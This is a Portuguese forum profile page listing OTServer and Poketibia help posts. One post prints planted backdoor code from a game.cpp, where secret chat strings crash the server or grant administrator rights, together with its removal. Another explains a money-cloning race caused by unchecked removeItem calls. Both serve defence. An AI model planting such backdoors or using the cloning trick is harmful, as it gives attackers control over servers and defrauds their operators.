Ir para conteúdo

robson da silva

Membro
  • Registro em

  • Última visita

Histórico de Curtidas

  1. Obrigado
    robson da silva deu reputação a caio silva 99 em Shiny Pokemon "nome"   
    vai em lib/level system.lua
     
    aperta crtl+f e procura por:
    if string.find(tostring(nick), "Shiny") then vai ter:
    if string.find(tostring(nick), "Shiny") then   nick = tostring(nick):match("Shiny (.*)")     end Só excluir.
  2. Obrigado
    robson da silva deu reputação a Nazo em (Resolvido)error no order   
    @robson da silva, testa:
    https://hastebin.com/raw/ufifefedan
  3. Obrigado
    robson da silva deu reputação a Nazo em (Resolvido)error no look   
    @robson da silva substitua seu look.lua por esse e tente:
    local NPCBattle = { ["Brock"] = {artig = "He is", cidbat = "Pewter"}, ["Misty"] = {artig = "She is", cidbat = "Cerulean"}, ["Blaine"] = {artig = "He is", cidbat = "Cinnabar"}, ["Sabrina"] = {artig = "She is", cidbat = "Saffron"}, --alterado v1.9 \/ peguem tudo! ["Kira"] = {artig = "She is", cidbat = "Viridian"}, ["Koga"] = {artig = "He is", cidbat = "Fushcia"}, ["Erika"] = {artig = "She is", cidbat = "Celadon"}, ["Surge"] = {artig = "He is", cidbat = "Vermilion"}, } function onLook(cid, thing, position, lookDistance) local str = {} if not isCreature(thing.uid) then local iname = getItemInfo(thing.itemid) if isPokeball(thing.itemid) and getItemAttribute(thing.uid, "poke") then unLock(thing.uid) local lock = getItemAttribute(thing.uid, "lock") local pokename = getItemAttribute(thing.uid, "poke") table.insert(str, "You see "..iname.article.." "..iname.name..".") if getItemAttribute(thing.uid, "unique") then table.insert(str, " It's an unique item.") end table.insert(str, "\nIt contains "..getArticle(pokename).." "..pokename..".\n") if lock and lock > 0 then table.insert(str, "It will unlock in ".. os.date("%d/%m/%y %X", lock)..".\n") end local boost = getItemAttribute(thing.uid, "boost") or 0 if boost > 0 then table.insert(str, "Boost level: +"..boost..".\n") end if getItemAttribute(thing.uid, "nick") then table.insert(str, "It's nickname is: "..getItemAttribute(thing.uid, "nick")..".\n") end if getItemAttribute(thing.uid, "gender") == SEX_MALE then table.insert(str, "It is male.") elseif getItemAttribute(thing.uid, "gender") == SEX_FEMALE then table.insert(str, "It is female.") else table.insert(str, "It is genderless.") end doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false elseif string.find(iname.name, "fainted") or string.find(iname.name, "defeated") then table.insert(str, "You see a "..string.lower(iname.name)..". ") if isContainer(thing.uid) then table.insert(str, "(Vol: "..getContainerCap(thing.uid)..")") end table.insert(str, "\n") if getItemAttribute(thing.uid, "gender") == SEX_MALE then table.insert(str, "It is male.") elseif getItemAttribute(thing.uid, "gender") == SEX_FEMALE then table.insert(str, "It is female.") else table.insert(str, "It is genderless.") end doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false elseif isContainer(thing.uid) then --containers if iname.name == "dead human" and getItemAttribute(thing.uid, "pName") then table.insert(str, "You see a dead human (Vol:"..getContainerCap(thing.uid).."). ") table.insert(str, "You recognize ".. getItemAttribute(thing.uid, "pName")..". ".. getItemAttribute(thing.uid, "article").." was killed by a ") table.insert(str, getItemAttribute(thing.uid, "attacker")..".") else table.insert(str, "You see "..iname.article.." "..iname.name..". (Vol:"..getContainerCap(thing.uid)..").") end if getPlayerGroupId(cid) >= 4 and getPlayerGroupId(cid) <= 6 then table.insert(str, "\nItemID: ["..thing.itemid.."]") local pos = getThingPos(thing.uid) table.insert(str, "\nPosition: [X: "..pos.x.."][Y: "..pos.y.."][Z: "..pos.z.."]") end doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false elseif getItemAttribute(thing.uid, "unique") then local p = getThingPos(thing.uid) table.insert(str, "You see ") if thing.type > 1 then table.insert(str, thing.type.." "..iname.plural..".") else table.insert(str, iname.article.." "..iname.name..".") end table.insert(str, " It's an unique item.\n"..iname.description) if getPlayerGroupId(cid) >= 4 and getPlayerGroupId(cid) <= 6 then table.insert(str, "\nItemID: ["..thing.itemid.."]") table.insert(str, "\nPosition: ["..p.x.."]["..p.y.."]["..p.z.."]") end sendMsgToPlayer(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false else return true end end local npcname = getCreatureName(thing.uid) if ehNPC(thing.uid) and NPCBattle[npcname] then --npcs duel table.insert(str, "You see "..npcname..". "..NPCBattle[npcname].artig.." leader of the gym from "..NPCBattle[npcname].cidbat..".") doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false end if getPlayerStorageValue(thing.uid, 697548) ~= -1 then table.insert(str, getPlayerStorageValue(thing.uid, 697548)) local pos = getThingPos(thing.uid) if youAre[getPlayerGroupId(cid)] then table.insert(str, "\nPosition: [X: "..pos.x.."][Y: "..pos.y.."][Z: "..pos.z.."]") end doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false end if not isPlayer(thing.uid) and not isMonster(thing.uid) then --outros npcs table.insert(str, "You see "..getCreatureName(thing.uid)..".") doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false end if isPlayer(thing.uid) then --player doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, getPlayerDesc(cid, thing, false)) return true end if getCreatureName(thing.uid) == "Evolution" then return false end if not isSummon(thing.uid) then --monstros table.insert(str, "You see a wild "..string.lower(getCreatureName(thing.uid))..".\n") table.insert(str, "Hit Points: "..getCreatureHealth(thing.uid).." / "..getCreatureMaxHealth(thing.uid)..".\n") if getPokemonGender(thing.uid) == SEX_MALE then table.insert(str, "It is male.") elseif getPokemonGender(thing.uid) == SEX_FEMALE then table.insert(str, "It is female.") else table.insert(str, "It is genderless.") end doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) return false elseif isSummon(thing.uid) and not isPlayer(thing.uid) then --summons local boostlevel = getItemAttribute(getPlayerSlotItem(getCreatureMaster(thing.uid), 8).uid, "boost") or 0 if getCreatureMaster(thing.uid) == cid then local myball = getPlayerSlotItem(cid, 8).uid table.insert(str, "You see your "..string.lower(getCreatureName(thing.uid))..".") if boostlevel > 0 then table.insert(str, "\nBoost level: +"..boostlevel..".") end table.insert(str, "\nHit points: "..getCreatureHealth(thing.uid).."/"..getCreatureMaxHealth(thing.uid)..".") table.insert(str, "\n"..getPokemonHappinessDescription(thing.uid)) doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, table.concat(str)) else doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "You see a "..string.lower(getCreatureName(thing.uid))..".\nIt belongs to "..getCreatureName(getCreatureMaster(thing.uid))..".") end return false end return true end  
  4. Obrigado
    robson da silva deu reputação a Vodkart em Script evento   
    é que faltou chamar a tabela config
     
    function onTimer() local config = { pos_criar_tp = {x=XXX,y=YYY,z=Z}, pos_do_evento = {x=XXX,y=YYY,z=Z}, tempo_tirar_teleport = 2, -- Em minutos mensagem_quando_abre = "Zombie event foi aberto, portal fechará em 2 minutos.", mensagem_quando_fecha = "Zombi Event Começou !" } function removeTp() local t = getTileItemById(config.pos_criar_tp, 1387) if t then doRemoveItem(t.uid, 1) doSendMagicEffect(config.pos_criar_tp, CONST_ME_POFF) doBroadcastMessage(config.mensagem_quando_fecha) end end doBroadcastMessage(config.mensagem_quando_abre) doCreateTeleport(1387, config.pos_do_evento, config.pos_criar_tp) addEvent(removeTp, config.tempo_tirar_teleport * 60 * 1000) return true end  
  5. Gostei
    robson da silva deu reputação a L3K0T em Server [ DINAMITE ] 8.54   
    Por favor bote o Scan, Umas imagens, créditos,s obrigado, tem 24 horas para isso.
  6. Gostei
    robson da silva deu reputação a Bruno Carvalho em Bug de clonagem de dinheiro/itens   
    Bom, estou criando esse tópico (que eu queria ter feito em vídeo no começo do ano) para contar-lhes um dos maiores bugs que existem nos otservs.
     
    Como alguns sabem eu participei da equipe do CaterOT e lá descobri muitas falhas em servidores e até dentro da equipe já tive a ideia de publicar estes problemas.
     
    Talvez o problema que mais dá dor de cabeça nos servidores é a clonagem de dinheiro... Como aquele player ficou rico?!
    Basicamente o problema consiste em duas funções (removeMoney e removeItem), quando elas são executadas, é retornado um booleano (verdadeiro ou falso) para saber se o item/dinheiro foi removido ou não. Mas se essa função não está dentro de um verificador (IF) mesmo que ela seja falsa ela irá funcionar e entregar o dinheiro/o item comprado sem verificar nada.
     
    Aos que conhecem C++, leia esse código e me diga se ele retorna algum nil caso o dinheiro não for encontrado:
    TFS 1.3: https://github.com/otland/forgottenserver/blob/master/src/luascript.cpp#L8487
    Base TFS 0.3: https://github.com/mattyx14/otxserver/blob/otxserv2/path_8_6x/sources/luascript.cpp#L5550
     
    Verifiquei vários servidores disponíveis no github e vi que vários tem esse problema. Um dos exemplos é o Otxserver-New do malucooo.
    Com uma unica pesquisa , vemos tudo o que há no código.
    E assim encontramos vários NPCs, Actions e Moveevents que não tem esse cuidado de verificar se o dinheiro foi realmente removido. Um exemplo é o NPC Black Bert

    Ai você me fala: Ah Bruno, mas não tem como dar erro por que ele já utiliza o getMoney ali em cima...
     
    NÃO ADIANTA USAR O GETMONEY, VOCÊ SÓ USA ELE SE PRECISAR VERIFICAR MAIS DE DOIS ITENS (EM BAIXO MAIS EXPLICAÇÕES).
     
    Basicamente as pessoas que fazem esse bug utilizam programas que colocam para o npc comprar/vender o item tendo o dinheiro/item e removem o item do personagem em fração de milésimos após clicar, assim o sistema "buga" (não é um bug, ele somente retorna falso no código pelo fato de o player “não ter“ o item, passando pelo verificador (getItem e getMoney) sem dar erro... O único verificador que funciona é o que diz se o item foi realmente removido.
     
    Antes/Depois
     
    Mas ai surge o problema de: Ah, e quando há mais de um item para ser removido (ou um item junto com dinheiro)?
    Dai você usa o getItem/getMoney e abaixo dele utiliza a função de remoção, para evitar que um item seja removido do player caso ele não houver o segundo item necessário.
     
    Exemplo:

     
    Exemplo 2:

     
    Este é um exemplo de como verificar se há mais de um item necessário. E ainda depois do segundo if poderia ser colocado um else alertando aos administradores o nome do player que está tentando bugar, pois se o player não fez nada de errado esse fator nunca irá acontecer.
     
    Ainda duvidam de mim?
    Você que usa TFS 1.2+ execute esse código em uma talkaction, tendo o item 2160 ou não.
    function onSay(player, words, param) if not player:getGroup():getAccess() then return true end if player:getAccountType() < ACCOUNT_TYPE_GOD then return false end player:removeItem(2160, 1) player:sendTextMessage(MESSAGE_INFO_DESCR, "Item removido!") end  
    Isto serve para qualquer distribuição/versão de servidor.
    Não é um bug de distribuição, é um erro cometido por quase todos os SCRIPTERS.
  7. Gostei
    robson da silva deu reputação a Jaurez em Client   
    Como está no seu config.lua na parte das versões?
    clientVersionMin = 1098
    clientVersionMax = 1099
    clientVersionStr = "Only clients with protocol 10.98/99 or allowed!"

     
     
  8. Gostei
    robson da silva deu reputação a Jaurez em Client   
    deu certo?
    Que bom meu amigo, qqr coisa é só pedir
    ATT,
    Jaurez
  9. Gostei
    robson da silva deu reputação a Jaurez em Client   
    Vê se esse conecta @robson da silva
    http://www.mediafire.com/file/jggioewzgipr7d0/Tibia+10.99+robson.rar
  10. Gostei
    robson da silva deu reputação a Jaurez em Client   
    Vou compactar a pasta completa e upar no mediafire e te passo o link em seguida, só vou arrumar a chave RSA que eu esqueci e já faço isso.
  11. Gostei
    robson da silva deu reputação a L3K0T em Source Poketibia - Códigos de derrubar   
    Olá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
     
    ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
     
    Código 1
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
     
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
     
    Código 2
     
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para 
     
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {  
     
     
    Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
  12. Gostei
    robson da silva deu reputação a Jaooo em Tópico Removido.   
    Tópico Removido. 
     

     
     


  13. Gostei
    robson da silva deu reputação a Tungsx em [Poketibia] Pfield CdBar Open Source   
    Eai PokeTibianos  !
     
    Trago aqui o pfield com cd bar um servidor com sources! bom adicionei a cdbar no pfield! a alguns sistemas nada mais!
     
     
    Systems do PFIELD!
       
      Observações         PRINTS:    
      DOWNLOAD:   http://bit.ly/1OdS1Ii   Sources GitHub:
    https://github.com/K...d-cdbar-source/
     
    SCAN: https://www.virustotal.com/pt-br/file/601a2bc99eff53a1c7a2bb231218209331b0aad511d24c8359d7977b09eb0349/analysis/1454742556/ 
     
    CREDITOS:
     
    Kevick (CDBAR-FUNCIONAL)
    Aberos (Otclient)
    Avronex
    CipSoft - Sem ela isso tudo nao existiria
  14. Gostei
    robson da silva deu reputação a Davinhow em PokémonCamp Open Source   
    Olá, estarei disponibilizando no TK o DOWNLOAD do servidor PokeCamp, ótima base Open Source.
    Não darei suporte e não colocarei imagens, estou apenas trazendo para o TK, façam bom aproveito! 
     

    Informações Básicas:
     
    • Pokémons 1º 2º Geração e 61 Shinys;
    • Level system (apenas no summon);
    • Task system com contagem;
    • Mega Evolução (Apenas um Pokémon está configurado);
    •HM System;
    • Addon system;
    • Autoloot (coletando tudo e indo pra bag);
    • Boost System;
    • Catch com nova Pokébola GS;
    • Sistema de Profissão;
    • TV (dando apenas um erro, coisa fácil de arrumar);
    • Remakes de alguns Pokémons que não existem em outros servidores; 
    • OTClient Custom;
    • Todos os sistemas do PDA e muito mais...
     

     
     
    Download Client+Server+Source
    Scan
     
    Créditos:
    Bluester
    PokeCamp
    Wend
    Brun123
    Overllord/Deadpool (Por Disponibilizar)
    Davinhow (Por Trazer a Comunidade TK)
     
  15. Gostei
    robson da silva deu reputação a Gaant em Como adicionar efeitos de neve e outros no website.   
    Fala galera do youtube TibiaKing!
    Como está chegando o natal, venho trazendo esse tutorial, pra você por no site do seu OTServer.
    Oque ele faz?
    Faz cair neve no site, e as bolinhas caem seguindo o mouse!
    Bora ver como c faz?
    1º) Vá na pasta htdocs do xampps ou a www do vertrigo --> Templates --> Pasta do template do seu website.
    2º) Abra com o notepad++ o arquivo index.tpl
    3º) De um ctrl+f e pesquise por </body>, e antes do </body>, crie uma linha e cole o seguinte texto :D
    <script src="http://files.edu-de-lucas1.webnode.com/200000134-b6879b8327/CodigoNeve.js"> </script> Salve e veja se o efeito funcionou. ( claro q vai funfar néh '-' )
    Agora, vamos adicionar outro efeito pra ficar um pouco mais legal? Ele faz cair estrelas em baixo do mouse  
    Faça o mesmo passo, crie uma outra linha antes do </body> no mesmo arquivo, só que cole o seguinte texto.
     
    Para trocar a cor, é só trocar essa parte var colour="#FFD7000"; pelo código da cor que você quiser.
    Créditos:
    Eu por descobrir como se coloca
    Maio Christopher Pelo código da neve
    Dicas para Blogs Pelo código das estrelas
  16. Gostei
    robson da silva deu reputação a MySticaL em [0.3.6] Função doPlayerOpenChannel   
    EDITADO REMOVIDO A VERSÃO 0.4 QUE CONTIA!
    SE QUISER A VERSÃO 0.4 SÓ VER NO PERFIL DO ALEXY.
     
    Oi, vim trazer a função doPlayerOpenChannel para tfs 0.3.6
    Essa função nada mais é que quando o player loga abre os chat selecionado no login.lua automaticamente
     
    Essa função é para 0.3.6
    Versões testada: 8.54
     
    Vamos ao código
    em LuaScript.cpp
     
    Procure:
    //getChannelUsers(channelId) lua_register(m_luaState, "getChannelUsers", LuaScriptInterface::luaGetChannelUsers); Adicione em baixo:
    //doPlayerOpenChannel(cid, channelId) lua_register(m_luaState, "doPlayerOpenChannel", LuaScriptInterface::luaDoPlayerOpenChannel); Continuando procure:
    int32_t LuaScriptInterface::internalGetPlayerInfo(lua_State* L, PlayerInfo_t info) Acima adicione:
    int32_t LuaScriptInterface::luaDoPlayerOpenChannel(lua_State* L) { //doPlayerOpenChannel(cid, channelId) uint32_t channelId = popNumber(L); uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(cid); if(player) lua_pushnumber(L, g_game.playerOpenChannel(cid, channelId) ? true : false); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushnumber(L, false); } return 1; } Agora em LuaScript.h
    Procure por:
    static int32_t luaGetChannelUsers(lua_State* L); abaixo adicione:
    static int32_t luaDoPlayerOpenChannel(lua_State* L); Agora em data/creaturescripts/scripts/login.lua
    Antes do último
    return true Adicione:
    doPlayerOpenChannel(cid, 7) -- 7 é o número do channel para ver é em data/xml/channels.xml  
    Rep não cai o dedo
  17. Gostei
    olá galera do tk, bom sei que esse tutorial é muito simples porem existe algumas pessoas que tem dificuldade de criar uma aba no modern acc, então resolvi criar esse tutorial rápido de como criar a aba por prints. Bom vamo lá
     
    será dividido entre
     
    1º passo - index criando aba do lado esquerdo do site
     
    2º passo - Criando o conteúdo da aba
     
    3º passo - Dicas e algumas sugestões
     
    lembrete: não sou especializado vou encinar apenas oque eu sei e aprendi, mas posso ajudar resolver algumas dúvidas, porem repito não sou especializado porem quero ajudar o pessoal com alguma coisa útil que aprendi
     
    1º passo - Vá na pasta do modern



     
     
    2º Passo - Criando o conteúdo da aba
     



     
    basta colocar ele dentro do arquivo batepapo aperta ctrl + S para salvar e pronto basta testar para ver se deu tudo certo.

     
    3º passo - Dicas e sugestões
     
    Para alguem que estiver começando e não souber código html pesquisem no google oque vocês querem por exemplo: Código html contador de visitas < tem um site que disponibiliza vários códigos html como o contador de visitas, como o nome já diz ele conta cada vez que uma pessoa acessa o site e por ai vai você pode achar muitos códigos prontos para seu site.
     
    Outra dica é cuidado na hora de editar algum código para não exclui alguma [; ou , ou "] para que não mas só faltando algum desses em um código da bug em tudo.
     
    Sugestão procure sempre tentar entender o código antes de apagar ou mecher nele para você ir praticando um pouco também isso é muito bom caso for fazer algo do tipo futuramente.
     
     
    é isso galera espero ter ajudado vocês
     
    se tiverem alguma dúvida comenta se tiver algum erro comenta mesmo eu não sendo expert eu vou tentar ajuda-los
     
    video de um amigo aqui do TK caso alguem não conseguir fazer pelo tópico o video é bem explicativo e pode ajudar mais ainda vocês
     
    Clique Aqui
     
    obs: se faltar alguma coisa comenta que eu edito o tópico com a informação e coloco os créditos
     
     
     
     
    Créditos
    Brunds (Tópico)
    Gpedro (Video)
  18. Gostei
    robson da silva deu reputação a LeoTK em (Resolvido)Como Criar Novas Vocations Em Server Narutibia!   
    seguinte vamos começar primeiramente vamos passo a passo
     
    1º passo: 


     
    2º passo: 


     
    3º passo: 


     
    bom é isso caso ajudei de um +rep 
     
    caso não entendeu alguma parte comente que eu explico com mais detalhe para melhor compreendimento é isso
  19. Gostei
    Como não tem encryptionType = "AQUI" ? Cara, procura isso direito, e tenta trocar por sha1 o valor.
  20. Gostei
    coloca sha1,  no lugar do ''plain''.
  21. Gostei
    robson da silva deu reputação a emersontb em Mudar URL do site   
    Cara não pode conter caracteres especiais em urls algumas hospedagens não trabalha com caracteres especiais.
    Você quer usar uma hospedagem grátis acesse esse site: http://www.hostinger.com.br/
     
    A sua url não está trabalhando com seu dns, você precisa de um dns !
     
     
  22. Gostei
    robson da silva deu reputação a dezon em Shop Admin Gesior 2012 (TFS 0.3.6 ~ 0.4, 1.0)   
    [+] Shop Admin Gesior 2012 (TFS 0.3.6 ~ 0.4, 1.0) [+]
    [+] Nova versão 2015 [+]
     
    Olá pessoal!

    Quero apresentar a mais nova versão do meu script para administrar Web Shop do Gesior 2012.

    [+] O que tem de novo?:
    O script foi revisado; Comentado as principais partes; Escrito algumas funções e ações novas; Revisado anti-inject; Agora você pode adicionar pontos para quem fizer doação; De uma forma geral, foi revisado de cabo à rabo ! [+] Imagens:

    [+] Galeria de imagens online
    http://postimg.org/gallery/1ssnwbf1i/

    [+] Instalação:
    Basta você ter o Gesior 2012 instalado junto aos scripts LUA de shop do mesmo; Ter o banco de dados instalado e um servidor TFS 0.3.6+, TFS 1.0, 1 rodando também.

    + Vá na pata {seu_web_server}\www ou htdocs\pages\ e renomeie o arquivo 'shopadmin.php' para 'shopadmin.php.old';
    + Faça download do script novo e cole na pasta que citei à cima;
    + Faça download desse arquivo http://item-images.ots.me/items_images_1076.zip;
    + Copie e cole a pasta que vem dentro desse arquivo e cole na pasta {seu_web_server}\www ou htdocs\images\ ficando assim {seu_web_server}\www ou htdocs\images\items\ e dentro dessa pasta as imagens dos itens do tibia;
    + Pronto!

    [+] Download:
    http://www.mediafire.com/view/z62d9zxylpg36dz/shopadmin.php

    [+] Scan:
    https://www.virustotal.com/pt/file/c06a2f7e1c1909b34f4dee2a7c27930a6c7cad1882edfcdf101689b0b61899d9/analysis/1399682407/
     
    [+] ATENÇÃO: Bug encontrado:
    Na realidade o shopadmin.php desenvolvido por mim, não contém bug's, ele faz o registro das ofertas corretamente, o que eu não consegui consertar foi o data/globalevents/scripts/others/shop.lua.
    Ele não consegue criar o container e adicionar os itens dentro desse container da oferta cadastrada, exemplo: se você criar uma BP de SD, dá o seguinte erro:
    Lua Script Error: [GlobalEvent Interface] data/globalevents/scripts/others/shop.lua:onThink LuaScriptInterface::luaPlayerAddItemEx(). Item not found stack traceback: [C]: in function 'addItemEx' data/lib/compat/compat.lua:363: in function 'doPlayerAddItemEx' data/globalevents/scripts/others/shop.lua:50: in function <data/globalev ents/scripts/others/shop.lua:7> Claro que estou correndo atrás de resolver esse problema, mas se por um acaso alguém tiver a solução, peço que por gentileza, poste aqui que darei os devidos créditos!
     
     
    [+] Como adicionar items?
    Para adicionar items ao shopping é muito fácil, basta você seguir igual eu postei nas fotos a configuração, respeitando o ID do item, Quantidade, o Tipo da oferta e etc, assim você enviará uma nova oferta para o seu site.

    Para adicionar uma oferta do tipo Container (Bp, Bag, etc) é fácil também, basta você preencher como na imagem à seguir:


    [+] Explicando:
    Coloque o 'Nome' da oferta. Insira uma 'Descrição' para essa oferta. Diga a quantidade de 'Premium points' necessários. Selecione o tipo da oferta: 'Item' ou 'Container'. Coloque o 'ID Item 1' à ser vendido, caso seja um item normal: armadura, espada, etc. Preencha a 'Qtde. Item 1' que o player irá receber quando comprar essa oferta. Deixe em branco 'ID Item 2' e 'Qtde. Item 2'. Caso seja BP, selecione o tipo para 'Container', no 'ID Item 1' coloque o Id da BP. Em 'Qtde. Item 1' você deve colocar a quantidade para cada item dentro do container, exemplo: se for BP de Runa, para preencher a BP você terá um total de 20 slots preenchidos pela quantidade de runas do 'Qtde. Item 2', então coloque 20, pois representa a quantidade de slots dentro do container. Agora em 'ID Item 2' você coloca o ID da Runa ou do item que você está vendendo dentro do container. Preencha a 'Qtde. Item 2' com a quantidade para cada slot do container que você está vendendo. Clique em salvar. Pronto, adicionado! [+] Isso é necessário:
    Lembrando que você precisa estar já com os scripts em lua funcionando corretamente do sistema de shop do Gesior 2012, você pode encontrá-los aqui: http://otland.net/threads/gesior2012-items-shop-installation-administration.170654/

    Obrigado à todos!!!
  23. Gostei
    robson da silva deu reputação a Natanael Beckman em Shop Admin Gesior 2012 (TFS 0.3.6 ~ 0.4, 1.0)   
    É chato você fazer um trabalho e disponibilizar pra todos e não obter no mínimo um agradecimento. 90% apenas utilizam o que foi postado e não se dar o trabalho de pelo menos clicar em gostei, muitas vezes alguns postam em seu tópico só porque teve um problema ou alguma duvida só isso!Galera, vamos pelos menos clicar em gostei, eu não cliquei porque excedeu o limite.
  24. Gostei
    robson da silva deu reputação a miinato em Como deixar senzu infinito em um servidor de dbko 8.0   
    Vai em Actions>Scripts procura a script da senzu, procura DoRemoveItem e apaga essa linha q tiver na script, se n me engano tem 2 linha com essa frase, apaga as duas e ja vai tar infinita testei isso no meu antigo server de dbo e funcionou
  25. Gostei
    robson da silva deu reputação a OhGod em Compilar Otserver Em Linux Ubuntu O Melhor!   
    Mais uma vez eu aqui para mostrar como combila um OTserver no linux agora acompanhe o tutorial abaixo criado por OhGod e GM Bekman:

    Porque um OTServer em linux?

    Linux é tudo 100% melhor que Windows. Proteção, o Linux tem uma rígida proteção contra acessos indesejados, acessos maliciosos. O Linux tem um mega capacidade de proteção DDoS isso e se você tiver as configurações corretas. No Windowsvocê só pode utilizar mapa com o tamanho máximo 100mb no Linux é ilimitado. No Linux o OTServer tem um desempenho maior com agilidade muito boa.
    Deixando de bla, bla, vamos ao que interessa.

    AAAA, observe antes de tudo tenha uma maquina Linux, assim o tutorial terá sentido para você. !

    Downloads necessarios:
    SSH Secure Shell
    WinSCP
    REV 3777 (Esta é uma rev muito utilizada na versão 8.60 e bem recomendada por ser bem estável para linux.)
    Essa REV você pode baixar para o seu computador extrair e enviar por ftp ou de forma correta e mais rapida baixe pelo propio linux veja abaixo:

    Acesse seu Shell SSH veja os passos:






    Proxima vez que você for acessa sua maquina por Shell clique em Profile sem ter necessidade de clicar em Quick Connect:



    Agora vamos fazer o Download copie e cole no shell:
    (Comandos para copiar e colar no shell [Copia: ctrl+insert] [Colar: shift+insert]).

    Antes de fazer o download eu recomendo acessa uma pasta que sempre uso adicionar meus ots:

    cd /home

    Fazer download:

    wget http://www.speedyshare.com/files/29983031/forgottenserver-trunk.r3777.tar.gz

    Correto você fez o download do arquivo, para conferir se o arquivos se encontra na pasta você pode utilizar o WinSCP ou o comando:


    ls
    Logo após este comando irá aparecer o que contém na pasta.

    Para visualizar pelo o WinSCP acesse ele:








    Agora sim vamos começar a parte de comandos:

    Execute usando o Shell:
    Antes de executar os comandos volte para o root com o comando:

    cd ..
    Até volta ao root.

    Go go...

    apt-get update

    apt-get install libboost1.42-dev libboost-system1.42-dev libboost-filesystem1.42-dev libboost-date-time1.42-dev libboost-regex1.42-dev libboost-thread1.42-dev libgmp3-dev liblua5.1-0 liblua5.1-0-dev liblua50 liblua50-dev liblualib50 liblualib50-dev lua50 lua5.1 libsqlite0-dev libsqlite3-dev sqlite3 libmysql++-dev libmysqlclient-dev mysql-client-5.1 mysql-server-5.1 mysql-common libxml2-dev libxml++2.6-dev cpp gcc g++ make automake autoconf pkg-config subversion liblua5.1-sql-mysql-dev liblua5.1-sql-sqlite3-dev zlib1g-dev zlib1g libcrypto++-dev libcrypto++8Se aparecer algo bla bla (Y or N?) digita Y e da enter.

    Certo fizemos update na maquina e instalamos as libs.

    Vamos compilar o OTServer.
    Primeiro acesse a pasta onde se encontra o OTServer:


    cd /home
    Extraia a pasta do OTserver:

    tar -zxvf forgottenserver-trunk.r3777.tar.gz

    chmod 777 -R forgottenserver-trunk.r3777
    Acesse a pasta do OTServer:


    cd /home/forgottenserver-trunk.r3777
    Se você quizer que seu OTServer tenha WAR SYSTEM pelo WinSCP localize as pastas home/forgottenserver-trunk.r3777/ Arquivoconfigure.ac nele na linha 10 terá:


    OPTIONAL_FLAGS=""
    Adicione o parametro (-D__WAR_SYSTEM__):

    OPTIONAL_FLAGS="-D__WAR_SYSTEM__"Fechar e salva!

    Após isso volte para o shell e vamos compilar o OTServer:

    Execute os comandos:


    ./autogen.sh
    ./configure --enable-mysql
    make
    Espere sempre finalizar um processo para executar o outro, bom dando tudo correto verifique dentro da pasta do seu OTServer terá um arquivo chamado theforgottenserver se tiver ele la OK meus parabéns você compilou em Linux e ja pode abri seu server.

    Jajá vamos abri o server mais antes temos que configurar o config.lua, db, o server. Eu sempre faço tudo em meu computador é umWindows7 faço todos os teste e após está tudo OK eu envio por ftp para minha maquina e faço as atualizações.
    Antes de abrir o server eu compilo a mesma versão no windows faço todos os teste necessarios, abro ele vejo se aparece algum erro no setup eu ja ajusto e tudo ok.

